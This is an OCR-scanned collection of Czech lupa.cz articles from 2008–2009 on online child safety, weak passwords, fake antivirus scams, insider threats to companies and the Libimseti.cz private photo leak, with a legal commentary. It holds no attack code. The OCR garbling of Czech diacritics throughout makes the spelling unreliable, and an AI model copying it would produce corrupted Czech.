Ai v této studii zde najdeme zajimava Cisla. Tfeba to, Ze 90 aZ 94 % vSech sexuélnich obtéZovani, v situacich,
kdy je znam vék obtéZovaného, maji na svédomi vrstevnici nebo Cerstvé dospéli jedinci. A Ze pinych 69 %
procent takovychto obtéZovani vibec nesméfuje k néjakému setkani v kamenném svété.

Studie si pak vSima i zajimavého momentu: Ze média v tomto ohledu pisobi kontraproduktivng, tim, jak pfeceriuji
podil sexudlniho obtéZovani ze strany starSich dospélych, i tendenci pfimét mladistvého k setkani v kamenném
svété. Tim pry média spiSe odvadi pozornost od téch problému, které mladé lidi v online svété skute¢né trapi.

A jest8 jedna zajimava véc: studie dospéla k zavéru, Ze nema smysl se spoléhat na néjaké technologické feSeni
existujicich problémd. Ostatné, ocitujme si zavér zmifiovaného ¢lanku v Easopise Time, ktery vSe docela trefné
shrnuje:

Tuto rozsahlou rocni studii Ize strucné shrnout takto: moc se nespoléhejte na to, Ze technologie ochrani vase déti
pfed technologiemi. Neexistuje Zadné jednoduché feSeni — tfeba jako ovéfovani véku Ci filtrovani apod. — které by
uchranilo vase déti pfed djmou. A jen s nékolika vyjimkami (kterych se média obvykle chytnou a naleZité je
rozmaznou) nejsou nastrahy, Cihajici na vase déti v online svété, o nic vétsi nez ty, které na né Cihaji kazdy den
v realném svété. Je to porfad stejna pisnicka, mamy a tatové — je na vas zajistit, aby se vase déti nedostaly do
néceho, co uz nedokazi samy zvladnout. Nesvadéjte to na média.

Cely &lanek i s diskusi je mozné najit na http://www.lupa.cz/clanky/sid-2009-do-boje-proti-kyberneticke-sikane/
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2.4 Oblibena hesla? 1234, password nebo krestni jména

Jifi Macich - 16. 2. 2009

Spolecnost Errata Security se podivala na zoubek 28 000 ukradenych hesel a zjistila, ze i po letech nekonecné
osvéty uZivatelé stale pouZivaji notné slaba hesla. Vyjimkou nejsou heslo typu po sobé jdoucich klaves jako je
1234 ¢i 12345678, eventualné QWERTY. Takova hesla voli 14 % uZivatel(.

Daldich 16 % uzivateld jako heslo pouZilo své kiestni jméno &i kfestni jméno svého potomka. Ctyfi procenta
hesel tvofilo slivko "heslo” (resp. password) ¢&i jeho varianty jako "password1” a podobné. DalSich pét procent
hesel tvofily nazvy filmu, seriald ¢i riznych celebrit. Dokonce se jako hesla objevovala i slivka "Yes" &i "No".

V reélu obstojné heslo by mélo pfitom obsahovat del3i, idealné nahodny fetézec znakd tvofeny malymi a velkymi
pismeny v kombinaci s Cislicemi, eventualné Ize sahnout i po rlznych specialnich znacich. Ke kazdé citlivé
sluzbé by pak mélo byt heslo vlastni, které rozhodné neni radno poznamenavat si nékde u pocitace nebo si ho
s sebou nosit v penézence.

Celou zpravu i s diskusi je moZné najit na http://www.lupa.cz/zpravicky/oblibena-hesla-1234-password/.

Dalsi informace: http://www.lupa.cz/clanky/stinova-ekonomika-nadale-roste-varuje-symantec/.

2.5 Microsoft potvrzuje: faleSné antiviry stale aktivni hrozbou

Jifi Macich - 27. 11. 2008

Microsoft potvrzuje, Ze tzv. faledné & podvodné antiviry jsou skute¢né zavazny problém. Spolu s pravidelnou
porci zaplat v listopadu uvolnil také aktualizovanou verzi Nastroje pro odstranéni Skodlivého softwaru, ktera
pfinesla obranu pravé proti malwarové rodiné Win32/FakeSecSen, ktera tzv. faleSné antiviry také zastupuije.
Nova verze bezpecnostni utility se distribuovala a spoustéla prostfednictvim sluzby Windows Update a jiz
statistka za prvni tyden ukazala, Ze infekce Win32/FakeSecSen byla detekovana téméF na milionu
z provéfovanych pogitac.

FaleSné antiviry se chovaji tak, Ze uzivatele na napadeném pocitaci zahlti mnoZstvim obtézujicich vyskakovacich
oken a nuti ho koupit drahy antivirovy program, ktery by jej mél problémd zbavit. Podvodnici si tak pfijdou na
nemalou Castku. Jako jedny z prvnich na rozmach této formy Internetovych podvodl upozornily laboratofe
PandaLabs. Nasledné napfiklad i statistiky spole¢nosti Eset potvrdily, Ze tento typ infekce a podvodi obtéZuje
i Ceské uZivatele.

Celou zpravu i s diskusi je mozné najit na http://www.lupa.cz/zpravicky/microsoft-potvrzuje-falesne-antiviry-stale-
hrozbou/
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2.6  Hlavni riziko pro bezpeénost firem predstavuiji jejich vlastni zaméstnanci

Ondfej Bitto — 21. 11. 2008

Bezpecnostni prizkumy mezi IT firmami jsou béZnou soucésti analyz a sledovani vyvoje chovani této oblasti.
Nejedna se pritom pouze o zahranicni pfiklady, které Casto byvaji citovana, ale také tuzemské — jednim
Z poslednich je priizkum publikovany spolecnosti GiTy.

S otazkami z oblasti bezpecnosti byl osloven management vice neZ sto padesati spoleCnosti, mezi kterymi
nechybély napfiklad Telefonica O2, Siemens, Ceska Spofitelna, CSOB, Komeréni Banka, CZECHINVEST nebo
Ceské Radiokomunikace. Jaky je tedy souasny stav bezpegnosti firem v Cesku?

Na sluzby externich specializovanych firem se v oblasti bezpeénosti IT podle prizkumu spoléha kazda Ctvrta
spoleénost. Jedna se o doklad toho, ze outsourcing je v pfipadé specifickych IT oblasti v oblibé. Pokud
spoleénost nechce konkrétni odpovédnost brat pfimo pod sva kfidla, mize byt jednodussi a ve finale
i efektivnéjsi, pokud investuji do zajisténi sluzeb zvenku. V pfipadé bezpeénosti to plati dvojnasob. Nevyhodou
vSak mohou byt vy$$i naklady, navic je zapotfebi se dobfe rozhodnout, koho oslovit.

Prili§ nenastvat zaméstnance?

Dal3i statistika pouze dokladuje dlouhodoby trend: Hlavni riziko bezpeénosti IS/IT vidi firmy v 78 % ve vlastnich
zaméstnancich. V tomto bodé je vSak duleZité uvédomit si, Ze nejde o zaméstnance, ktefi by cilené provadéli
utoky proti vnitni infrastruktufe IT, ale vétSinou omyly z neznalosti. Pro pfiklad netfeba chodit daleko, zkuste si
kazdy projit kazdého z blizkého okruhu svych spolupracovniku. Kolik z nich je otraveno nafizenimi, bezpecnostni
politikou, striktnim pfistupem admin(? Od recepCni az po generalniho feditele se najde jen par jedincl, ktefi se

X

chovaji ,bezpeéné* — at uz to v konkrétni IT/IS politice konkrétni firmy znamena cokoliv.

Pfesto se ale, i kdyz v men§im méfitku, objevuji planované interni kradeze dat, vétSinou od nespokojenych nebo
odchazejicich zaméstnancl. Zpravidla tak chtéji ztiZit Zivot firmé a tfebas i za Uplatu usnadnit byti konkurenci.
Pokud nékdo planuje odchod delsi dobu, neni problém, aby si potaji postupné sbiral vSe potfebné. V opacném
pfipadé ale zastdvam Casto nepopulami striktni postup: ma-li zaméstnanec ,byt odejit’, nejprve IT oddéleni zajisti
blokaci vSech pfistupl a teprve pak se to dotyénému oznami. Zdrava paranoia mize predejit fadé pfipadnych
trabld.

Bezpecnostni incidenty postihuji kazdou druhou firmu

Z vysledkd zminéného prizkum( vyplyva, Ze skoro u Ctvrtiny firem byla v posledni dobé ohroZena bezpeénost
jejich IS/IT. Jako hlavni diivod jsou uvadény pocitaCové viry, 18 % dotazanych se do problémd dostalo kvdli
selhani vypodetni techniky. Financni ztraty se v téchto pfipadech pohybuiji v desitkach tisic za rok.

Hlavnim problémem Utoku zvenku v sou¢asnosti byvaji zplisobené Skody, kdy je zapotfebi zapo€itat jednak praci
pfi ndpravé navic, jednak nemoznost néjakou dobu pracovat. Pfi rozsahlejSich ujméach je Skoda, Zze nebyva
mozné vystopovat pachatele, tedy pivodce sitového Gtoku, tvlrce viru apod. — vymahatelnost vyéislitelnych Skod
by pak byla padnym argumentem pro to, aby si to dotyény napfité rozmyslel. VétSinou tak bohuZel v opravdu
velkych pfipadech kongi trestnim oznamenim na nezndmého pachatele, ale pravdépodobnost vystopovani se
takrka rovna nule. VSe tak narazi na stejny problém, jako je tomu napfiklad v pfipadé legislativnich postihu
spammer(.

Tomu, Ze se jedna o citlivé téma, napovida i dopinéni MARKA CHLUPA, IT experta GiTy: "Uvedené vysledky jsou
znacné ovlivnény tim, Ze nedokonalé zabezpeceni cennych dat, a z toho plynouci $kody, jsou citlivym tématem
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a spousta firem tyto informace neni ochotna zvefejnit. Ve skutecnosti vSak miZeme pocitat s daleko vy$Sim
vycislenim Skod, i poCtem napadenych. Z naSi zkuSenosti vyplyva, Ze s bezpecnostnimi incidenty se potyka
primémé kazda druha firma."

Drobné vydaje pro velkeé zisky

Na jedné strané se dnes ve svété bezpecnosti stale vice feSi ochrana koncovych uzivatell, coz by vSak nemélo
zastinit nebezpeci hrozici pfedevsim vétSim firmam. Nejde pfitom pouze o klasické viry nebo Cervy, napfiklad
osobné jsem zvédav na vyvoj obchodu s citlivymi informacemi nebo jejich zneuZitim. Uz nyni se ukazuije, ze pro
utoniky byva Casto snazsi proniknout do sité vétsi firmy a ukrast rovnou cely balik citlivych dat o jednotlivych
uzivatelich, nez aby se pokouseli shirat je jednotlivé (at uz podvodnym e-mailem nebo trojskym koném apod.).

Do uvahy pfichazi také skloubeni s ransomwarem, tedy vydéracskym softwarem, ktery po postizeném uzivateli
pozaduje vypalné. Vzhledem k pomémé striktnimu pfistupu firem k zalohovani zde ale uUspéch bude slavit
minimalné, proto bude kvést spiSe obchod s citlivymi daty. Pokud by ransomware za$ifroval dlleZité soubory na
centralnim serveru, pfeci jen bude snazSi obnovit je z posledni automatické zalohy, nez pokouSet Stésti
pfevodem penéz. Obecné si navic myslim, ze nékolik dosavadnich pfipadi ransomwaru je spiSe slepym
vystfelem nez predzvésti vétSich trabll tohoto typu.

A pokud se do budoucnosti bezpe¢nosti IT a IS ve firmach podivame dal, nelze opomenout ani klasicky
konkurencni boj. Tak jako si jsou soupefici spole¢nosti schopné Skodit v realném svété, nebude problém ani
v tom, aby si nékdo pomohl profesionalnim utokem. Dlouhodobg&;jSi nedostupnost vinou napfiklad DDoS Utoku
dokaze u vétSich spoleCnosti zapficinit citelné ztraty, o zhorSeni povésti ani nemluvé. A na zavér obligatni
problém: pro¢ vymyslet komplikované Utoky, kdyz mize byt snaz$i a levnéjSi nékoho pro ziskani informaci
podplatit pfimo vevnitf. Ve svété velkych firem to plati a bude platit dvojnasob.

Cely &lanek i s diskusi je mozné najit na http://www.lupa.cz/clanky/hlavni-riziko-predstavuji-zamestnanci/.

2.7 Kauza Libimseti.cz ukazala, ze nejen kral je nahy

Daniel Docekal — 30. 10. 2008

V diskusich o vinikovi ztraty soukromi mnoha uZivatel(i serveru Libimseti.cz zanika fakt, Ze ochrana soukromi je
obecné na komunitnich webech slaba. UZivatelé podceriuji rizika, provozovatelé zase pouZivaji nesmysina
a Casto legislativné zavadna pravidla provozu a slabé zabezpeceni.

Tézko Fici, co si vlastné myslely ty tisice uzivateld www.libimseti.cz, které divérivé tomuto serveru svéfily viastni
"choulostivé" fotografie. Sice je asi zpravidla oznaCili jako nevefejné, ale nic nakonec nebranilo tomu, aby se
ocitly na Internetu a odkazy na né se staly vyhledavanym obsahem na diskusnich férech. Pocist si o tom Ize na
Lup&, na Zivé ¢ na iDNES, ale nic moc se z toho viastné nedozvite (dokonce se pfidal i Blesk, v ponékud
rozmachlejSim stylu).

Snad jediné to, Ze nékdo vytahl par desitek tisic fotek od par tisic uzivateld, zabalil je do prehlednych balicka,
doplnil soupisem umozrujicim najit kyZzenou prezdivku a pak to pfedhodil vefejné na Internet. Slovo "pak” je
svym zpUsobem vyznamné, udélal to totiz az déle poté, co ty fotky z Libimseti.cz povytahoval ven. A také to
pravdépodobné proved! néjakou tou metodou "pokus-omyl". VSechno to fika nékolik véci.
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O uzivatelich, ze nemaji zakladni pud sebezachovy. O Libimseti.cz, Ze nemaiji zakladni mechanismy, které by jim
umoziovaly vytvaret bezpecnou aplikaci a pfipadné jesté sledovat, jestli se jim nékde netould nezvany host.
A také to nabizi Fadu pouceni. Zejména jedno o alibismu, pravni ignoranci a nedostatku originality.

Za nic nemilzeme, a pokud ano, tak odpovédnost nesmite Zadat

Na Internetu, nejenom tom &eském, si budete muset zvyknout, Ze provozni a uzivaci podminky riznych sluzeb
jednoznaéné ukazuji, ze provozovatel se ziika vSech zodpovédnosti. V idedlnim pfipadé ovSem ty vase
ponechava, pfipadné vam jesté pfida néco navic. A protoze jde o Internet, jaksi automaticky se pfedpoklada, ze
souhlasite i s tim, co jste nikdy nevidéli. VEetné "lahtdek" jako "Pristoupenim k Podminkam uzivatel pfistupuje
k témto Podminkam a akceptuje veSkera jejich ustanoveni. "

Jak uvidite pozdsgji, uzivatelské a provozni podminky se navic mezi servery volné kopiruiji, takze jako uzivatel
napfiklad plné zodpovidate za Skodu pfi pouziti "cizi" e-mailové adresy, a to jak viéi onomu nékomu, tak vici
provozovateli serveru. Samotny provozovatel samoziejmé nezodpovida vibec za nic. Tedy alespon podle toho,
co protlacil, pardon, zkopiroval do podminek. A chvilemi budete pfemyslet, jestli vibec védél, co od nékoho
opsal.

Stejné tak plati, ze 'uZivatel nesmi upravovat, kopirovat, distribuovat, pfedavat, zobrazovat, provadét,
reprodukovat, publikovat, licencovat, pfevadét nebo prodavat jakékoli informace, software, produkty nebo sluzby
Ziskané ze sluzeb Serveru ani z nich vytvafet odvozena dila," a zaroven se provozovatel serveru smluvné
pasoval do role vlastnika v3eho, co uzivatel ma, i kdyby to bylo autorské dilo. Ale o tom uz byla fe€ v upIné jiném
¢lanku zde na Lupé.

Bohuzel, pfisluSné podminky zpravidla nejspi$ pravnik nikdy nevidél. A jejich vznik bude pravdépodobné hlavné
dilem volného pfevypravéni z podobnych anglickych podminek. Nasledovalo ziejmé dolepeni nékterych véci,
o kterych si naivni tviirce myslel, Ze davaji smysl. Viz napfiklad nasledujici text, ktery jasné ukazuije, Ze jeho autor
netusi nic o tom, Ze prisludny zakon se tyka "nevyzadanych obchodnich sdéleni". Cisté teoreticky jsou pak
podobna ustanoveni v podminkach dobra pouze k smichu.

Takto zaslany e-mail splfiuje veskeré podminky Zakona o regulaci reklamy ¢. 138/2002 Sb,. a Zakona
0 nékterych sluzbach informacni spoleCnosti ¢. 480/2004 Sb, a nelze jej povaZovat za nevyZadanou reklamu -
spam.

Pfesto, nebo mozna pravé proto, maji podobné podminky jesté jednu zazracnou klauzuli, ktera jasné fika, jak
vazné to s odpovédnosti provozovatel mysli.

Sprévce nenese Zadnou odpovédnost za Skody, které by uZivateli nebo tfetim osobam pfimo, nepfimo Ci
nahodné vznikly v ddsledku nebo v souvislosti s vyuzivanim sluzeb Serveru. Neodpovida za $kody, které by
uzivateliim nebo tfetim osobam vznikly v disledku nemoZnosti vyuZivani sluzeb Serveru nebo v pfimé ¢i nepfimé
souvislosti s touto skutecnosti.

Podobnost Cisté nadhodna a jesté navic plané sliby

Nedélejme si iluze, provozni podminky zjevné opisuji servery jeden od druhého. A jesté v nich navic uvadégji véci,
které neni viibec mozné reainé splinit. Zejména viz posledni véta nasledujiciho pfikladu.
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Seznamka.cz

Na tomto Serveru nejsou shromazdovana Zadna data osobni povahy, tak jak jsou definovana v zékon
¢. 101/2000 Sb., o ochrané osobnich tdaji. Kontaktnim pojitkem je pouze e-mailova adresa uZivatele, popfipadé
mobilni telefonni Cislo v zakédovaném tvaru, vZdy ve spojitosti s heslem, které voli uzivatel. Timto zptsobem je
vylou¢ena moznost manipulace s vioZenymi daty uZivatell. Na prani uZivatele (i bez udani ddvodu), budou jim
vioZzena data vymazana z databaze. Spravce prohladuje, Ze podnikne veskera mozna, {j. t.C. znama opatfeni, aby
Data zabezpedil pfed neopravnénymi zasahy tfetich osob.

Libimseti.cz

Na tomto Serveru nejsou shromaZdovana Zadna data osobni povahy, tak jak jsou definovana v zakoné
¢. 101/2000 Sb., o ochrané osobnich tdaji. Kontaktnim pojitkem je pouze e-mailovéa adresa uZivatele, popfipadé
mobilni telefonni Cislo v zakoédovaném tvaru, vZdy ve spojitosti s heslem, které voli uzivatel. Timto zptiisobem je
vylou¢ena moznost manipulace s vioZenymi daty uZivatell. Na prani uZivatele (i bez udani ddvodu), budou jim
vloZena data vymazana z databaze. Spravce prohladuje, Ze podnikne veSkera mozna, ij. t.C. znama opatfeni, aby
Data zabezpecil pfed neopravnénymi zasahy tfetich osob.

Nejinak je tomu i v pfipadé daldiho bodu podminek, ktery ma hodné spolecného s tim, co se vlastné stalo na
Libimseti.cz. Zde si ale vSimnéte "drobného” rozdilu, kdy se verze Libimseti.cz stala verzi umoZzAujici zcela volny
vyklad. A pfili§ bych nepochyboval o tom, Ze pfedchozi verze byla na Libimseti.cz zcela shodné s Seznamka.cz.

Seznamka.cz

Uzivatel bere na védomi, Zze Data, kterd dobrovolné poskytne do diskuznich for nebo jinych automaticky
generovanych stranek mohou byt pouZita tfeti osobou. Spravce vSak nenese Zadnou odpovédnost za pfipadné
neopravnéné zasahy tfetich osob, v dusledku nichz tyto osoby ziskaji pfistup k datim jednotlivych uZivateld
anebo k jejich uctim anebo k pfislusné databazi Spravce Ci jeho partner( vyuZivajicich sluzeb Serveru a tyto
Udaje neopravnéné pouZiji, vyuZifi, zneuZiji nebo je zpfistupni tretim osobam. UZivatel prohlasuje, Ze si je v této
souvislosti védom rizik pro ného vyplyvajicich z vyse uvedenych neopravnénych zasahd tretich osob.

Libimseti.cz

UZivatel bere na védomi, Ze Data, ktera dobrovolné poskytne vlioZzenim na Server mohou byt pouZita tfeti
osobou. Spravce vSak nenese Zadnou odpovédnost za pfipadné neopravnéné zasahy tretich osob, v dusledku
nichZ tyto osoby ziskaji pfistup k datim jednotlivych uZivatelt anebo k jejich dctim anebo k pfislusné databazi
Spravce €i jeho partnerti vyuZivajicich sluzeb Serveru a tyto tdaje neopravnéné pouZiji, vyuziji, zneuZiji nebo je
Zpfistupni tfetim osobam. UZivatel prohlasuje, Ze si je v této souvislosti védom rizik pro ného vyplyvajicich z vyse
uvedenych neopravnénych zésahu tfetich osob

Kopirovat vic ze shodnych podminek obou server(i uz asi nema smysl, vlastné az na posledni bod. Ten totiz zni
"Tyto Podminky nabyvaji platnosti a ucinnosti jejich zvefejnénim.". A pochopitelné ani na jednom serveru se
nedozvite, kdy vlastné byly zvefejnény. Jestli chcete, mizete to nazvat zadmérné netransparentnim chovani,
neetickym pfistupem, pfipadné rovnou snahou o to, aby mohlo s podminkami byt kdykoliv a jakkoliv
manipulovano.

Mezi plané sliby ale nejspi$ patfi i nasledujici perla. Slibuje sice vzdusné zamky, ale v pfipadé potieby se da
vymluvit na slovo "zavedeni", tedy na stav, ktery uz davno pominul.
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Spravce prohlauje, Ze zavedeni sluZeb Serveru vénuje a bude vénovat s vynaloZenim maximalniho sili
a s odbornou péci, tak aby minimalizoval veSkera pfipadna rizika, ktera by pfi fadném vyuzivani sluzby Serveru
mohla vzniknout uzivatelim Ci tfetim osobam.

Co na to vSechno vlastné fika pravo?

Myty a povéry ohledné prava nejsou ale jenom na strané provozovatelll podobnych server(, zpravidla ovladaji
i samotné uzivatele. Ti jsou navic zticha a v klidu do okamZiku, nez zacnou mit pocit, ze doslo k ohrozeni jejich
soukromi. A pak se pokouSeji uplatiovat leccos. Je pak dobré napfiklad védét, jaké podminky musi splfiovat
provozovatel webu, na kterém si uZivatelé vyplrfiuji a volitelné zpfistupAuiji osobni a citlivé tdaje:

,Pokud se tak déje za ucelem podnikani, mize byt provozovatelem takového webu kazdy subjekt, ktery ziska
Zivnostenské opravnéni. Nejedna se tedy o Zadny povolovaci systém apod. Pii zpracovani osobnich Gdaji by
mél takovy provozovatel postupovat mimo jiné v souladu se zakonem o ochrané osobnich Udaji (zakon
¢. 101/2000 Sb., ve znéni pozdéjSich predpist). Povinnosti stanovenych pro spravce osobnich udaju timto
zdkonem je pomémé Siroké spektrum. Obecné se jednd o povinnosti vici subjektim Udaji (uZivatelim),
o povinnosti vigi Ufadu pro ochranu osobnich (dajii a také o povinnosti technicko-organizacniho charakteru
v ramci podniku spravce osobnich ddaju. Zplsob ziskavani osobnich ddaju neni ve vztahu k existenci téchto
povinnosti zcela rozhodujici,” uvadi advokat JOSEF AUJEZDSKY z advokatni kancelafe Masek, Kodi,
Aujezdsky. A pokud mate trochu pocit, ze jste se vlastné nedozvédéli nic? Tak je to spravné, takhle to prosté
funguije.

Jednim z dalSich oblibenych "omyll" je i vSe co se tyka povinnosti registrovat se pro zpracovani osobnich udajd,
pfipadné vibec toho, co osobni udaje jsou. Hlavné proto, Ze skute€nou ochranu maji v podstaté pouze citlivé
udaje a jak uz nékolikrat UOOU zd(razfioval, ochrana se bude tykat jen takovych Udajli, které jednoznaéné
identifikuji urCitou osobu. Ale nejprve co na to pravo:

"Co presné se rozumi citlivym (dajem, vymezuje ustanoveni § 4 pism. b) zakona o ochrané osobnich tdajd.
Citlivym udajem je ,osobni ldaj vypovidajici o narodnostnim, rasovém nebo etnickém plvodu, politickych
postojich, ¢lenstvi v odborovych organizacich, naboZenstvi a filozofickém pfesvédceni, odsouzeni za trestny Cin,
zdravotnim stavu a sexualnim Zivoté subjektu Udaji a geneticky tdaj subjektu ddaju; citlivym ddajem je také
biometricky udaj, ktery umoZriuje pfimou identifikaci nebo autentizaci subjektu ddaja...“ Citlivymi tdaje podle
zakona o0 ochrané osobnich udaju jsou tedy pouze vySe uvedené tdaje a nikoliv jiz informace Ci fotografie, které
povazuje uZivatel ze svého pohledu za ,citlivé”. Registraci pro zpracovani osobnich udaji a pro zpracovani
citlivych adajd Ize provést najednou," fika, opét advokat Josef Aujezdsky.

A zde je asi dulezité se zastavit hlavné u "které povaZuje uZivatel ze svého pohledu za citlivé".

"V této souvislosti Ize upozomit na skutecnost, Ze je sporné, zdali Ize dobrovolné zvefejnénou fotografii vibec
povaZovat za osobni Udaj ve smyslu zakona o ochrané osobnich (daju. Dle naseho nazoru by to s ohledem na
vymezeni pojmu osobni (daj v ustanoveni § 4 pism. a) zakona o ochrané osobnich ddaji nemélo byt vylouceno,
nicméné dle ziskanych informaci zaujal UFad pro ochranu osobnich k této otazce odlisny vyklad," dodava Josef
Aujezdsky

Zazalovat?
Zadinate mit pocit, Ze je to stale zajimav&jsi? Ze napiiklad fotografie nahé sleény & pani, kterou nékdo vytahl
z "nedobytnych, zabezpegenych a dobfe chranénych" dtrob Libimseti.cz, vlastné vibec nemusi byt otazkou ve

véci ochrany osobnich udaji? Mohli byste Libimseti.cz dostat na ochrané osobnich daji? A kdyZ ne, jak z nich
dostat néjakou tu nahradu Skody.
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"Primarné bude zaleZet zejména na obsahu smiuvniho ujednani mezi provozovatelem webu a jednotlivymi
uzivateli, k jakym opatfenim se provozovatel zavazal. Pokud se jedna o poruSeni zakona na ochranu osobnich
ldaju ze strany provozovatele, Ize si ze strany uZivateli kromé prava na vysvétleni a odstranéni protipravniho
stavu dle ustanoveni § 21 odst. 1 zakona o ochrané osobnich Udaji predstavit také poZadavek na nahradu
Skody. Teoreticky nelze vyloucit ani uplatnéni pravnich prostfedkd souvisejicich s pravni tpravou ochrany
osobnosti. Nicméné s ohledem na soucasnou rozhodovaci praxi v této oblasti bychom vidéli uplatiiovani prav
poskozenych touto cestou jako pfinejmensim problematické. OdliSnou otazkou je pak udéleni pfipadné spravni
sankce ze strany Uradu pro ochranu osobnich daj,” Fika advokat Josef Aujezdsky.

Shrnuto a podtrzeno, na poruSovani ochrany osobnich Udaju je asi nedostanete. Pfi troSce Stésti by snad bylo
mozné UtoCit na zakladé klasické ochrany osobnosti, ale, zcela oteviené, ja byt soudcem, tak se na vas podivam
z vySky, poklepu na Celo a pak se zeptam, jestli jste to fakt s t&mi nahymi fotkami na Internetu mysleli vazné.
A zda jste byli pfi védomi, kdyz jste je tam déavali.

Takze vam mozna nakonec zbudou jenom oéi pro plac, nebo pfipadna moznost (kdyz tedy mluvim o téch par
tisicich poSkozenych), to kazdy jednotlivé pfedat UOOU. A aspoil doufat, Ze to bude nepfijemné pro toho, kdo
zanedbal z&kladni pravidla bezpeénosti.

Maslo na hlavé ma stejné provozovatel

Maslo na hlavé vzdy ma a bude mit ten, od koho data unikla. Neni ale pfiliS tézké pochopit, Ze otazka
zabezpeceni Internetovych aplikaci je otazkou sloZitou, ale také tradiéné otazkou opomijenou. Kdykoliv se
spousti novy web. muzete si byt skoro jisti tim, Ze se v ném objevi nékteré humorné bezpecnostni chyby -
zejména XSS (Cross Site Scripting) a HTML Injection. Kazdy nékolikaty spustény nabizi SQL Injection, tedy
moznost aktivné zasahovat do dat na serveru. A to komentuji jen a pouze takové ty chronicky viditelné véci -
v dal$ich pfipadech jsou bezpecnostni chyby jesté vaznéjSi a odhalitelné ne pomoci "nékolika" kliknuti.

Jinymi slovy, pravdépodobnost, Ze néjaka Internetova aplikace (server) je néjakym zplsobem dérava, je hodné
velka. A je vétsi tim vic, ¢im vic dany server vznikal na kolené a za pfekotného vyvoje. A s nééim takovym je
potfeba pocitat, jak na uzivatelské strané, tak na strané provozovatele.

Maslo na hlavé pak ma skute¢né vzdy jen a pouze provozovatel. | kdyby $lo o uzivatele, ktefi si nastavili "Spatna"
hesla, nemél to umoznit. | kdyby $lo o pomstu zhrzeného zaméstnance, protoZe ani to nemél umoznit. A dokud
vétSinu bezpecnostnich navykt bude ignorovat, i takové zakladni véci jako zasadu neukladani hesel v Citelné
podobé, tak budou existovat nebezpeéné weby.

Realisticky, uplné nakonec

UZ jsem to vlastné naznadil pfed chvili, ale je dobré to zopakovat. Internet je vefejné misto a v sou¢asné dobé
neexistuje zadné Siroce pouzivané (a Siroce pouzitelné) zabezpeceni ¢ehokoliv, co tam umistite. V drtivé vétsiné
pouzivany systém jméno a heslo je sam o sobé jenom velmi mirnym zplUsobem zabezpeceni, obzvlast
v kombinace s chronickou neochotou uZivateli pouzivat bezpefna (slozita) hesla a vibec se obtézovat
s néjakymi pravidly bezpecnosti. PfipoCtete-li k tomu jeSté phishing, viry, moZnost odposlechu, ukladani hesel
v pocitacich, tak skuteéné nemiZzete klasickou kombinaci jméno a heslo brat vibec vazné.

Pak je tu samozfejmé stale riziko toho, ze vase "bezpe€né" ulozené informace (texty, fotografie, cokoliv) dostane
do rukou nékdo "néjak jinak". NaStvany a vyhozeny spravce sité je napfiklad proda konkurenci. Nékdo se dokaze
vloupat do zdanlivé dokonale zabezpecené sité provozovatele. Nékdo nékde omylem ty data zapomene (tfeba
v ukradeném notebooku).
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Suma sumarum, cokoliv povésite na Internet, je tam povéSeno s tim, Ze to jednoho dne muze kdokoliv
a kdekoliv vidét, vyuzit a zneuzit. A zapomerite na néjaké ochrany heslem i jinak. Prosté to berte tak, jak to je.
A pokud nechcete, aby nékdo néco vidél ¢i ziskal, nepokouSejte osud a nestrkejte to na Internet.

A co se provoznich a uzivatelskych podminek webovych sluzeb ty¢e? O tom uz tu byla dfive fe€. Nezapominejte
si je pfeCist. Zapamatuijte si, Ze vas nemohou pfipravit 0 vaSe prava, téch se nelze zfici jednostrannym (a jesté
navic neprokazatelnym) prohlasenim. Ale pokud se vam podminky nebudou libit, nepouzivejte takovou sluzbu.
Pokud by si uzivatelé, napfiklad LimibseTi.cz, opravdu uvédomili, jak s nimi provozovatel zachazi, tak by dost
mozna razem byl konec celému serveru.

Poznamka redakce: vyjadreni TOMASE KAPALINA za server Libimseti.cz nam dorazilo a7 po uzavérce, proto je
autor nestihl zapracovat do textu a pfipojujeme je alespon pod clanek:

Nejdfive trochu citace z tiskové zpravy, ktera $la k médiim od nasi PR manazerky:

Kdy se to stalo a jak jste se o tom dozvédéli?

Situaci jsme zacali fesit ihned ve stfedu rano, kdy jsme se o problému dozvédeli. Spolu s programatory jsme
analyzovali misto, kudy se Gtoénik ke chrdnénému obsahu dostal, a pfipravili opravu, ktera tomuto Uniku nadéle
zabrani. Systém jsme aktualizovali ve Ctvrtek rano, a od té doby jsme jiZ nezaznamenali dal$i unik.

Oznamili jste to na policii? Podali jste trestni oznameni na neznamého pachatele?
Pravé se davaji dohromady veskeré podklady, které souvisi s touto udalosti. Trestni ozndmeni podame béhem
pfistiho tydne.

Jak na tyto zneklidiujici informace reaguji navstévnici vaseho webu?
Libimseti.cz m& 1 500 000 uzivateld, ktefi nahraji kazdy den pfes 100 000 novych fotografii. JelikoZ se jedna
0 malé procento z celkového po¢tu uzivateld, neobdrzeli jsme do této chvile Zadné negativni uZivatelské ohlasy.

Jaka jste udélali opatfeni, aby se nic podobného uz nestalo?
Programatofi analyzovali misto, kudy se uto¢nik ke chranénému obsahu dostal, a pfipravili opravu, ktera tomuto
uniku nadale zabrani.

Kdy budete moci fici, Ze vase stranky jsou proti »zlodéjim« stoprocentné zabezpecené?
V soucasné dobé se nem(Ze podobna situace opakovat. Problém zaheslovanych alb byl vyfesen.

Pokud bych mél pfidat i néco z kuchyné, tak z naSeho pohledu a z pohledu nasi pravni kancelafe jsou nade
vSeobecné podminky v pofadku. Nefikame, Ze dokonale a proto pfipravujeme novéjSi verzi (zejména proti
extrémnim rypaldm).

Dle vyjadfeni naSich pravnik( se pfi hacku o Unik osobnich informaci nejednalo. K tomuto tvrzeni mame
i zdokumentované precedenty z jinych kauz.

Co se tyka lidi, ktefi zminénou véc provedli, mame o nich velké mnozstvi informaci, nebot na Libimseti.cz se
ukladaji informace o Cinnosti kazdého uzivatele. Zaroved zminéni uzivatelé se svoji €innosti netajili, naopak se
celkem chlubili, takze pfedpokladam, ze pro policii nebude problém je dohledat. Myslim, Ze to byla détska
nerozvaznost, a i kdyz se ndm se stiznosti neozval jediny uzivatel, nemohli jsme zminéné hackovani naseho
portalu tolerovat.

Z toho dlivodu nasi pravnici pfipravuji trestni oznameni, které bude nejdéle na pocatku pfistiho tydne dorucené
policii.
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Na zavér jen dodam, ze fotografie byly ukradeny z 1164 profilt z celkového mnozstvi vice jak 1 500 000 profild,
které na libimseti.cz jsou. Celkem bylo ukradeno 14 417 privatnich fotografii. Jen pro porovnani, za jeden den je
na libimseti nahrano az 120 000 fotografii. Celkem tedy na naSich serverech hostujeme desitky miliona fotografii
a zminéné ukradené Cislo bylo jen zlomek.

Toma$ Kapalin, Libimseti.cz

